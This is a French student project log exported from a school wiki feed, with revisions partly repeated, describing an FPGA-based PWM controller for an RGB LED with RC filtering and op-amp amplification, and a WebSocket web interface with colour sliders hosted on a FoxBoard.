Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
===Installation :=== &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20095</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20095"/>
				<updated>2015-04-16T13:19:16Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie informatique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
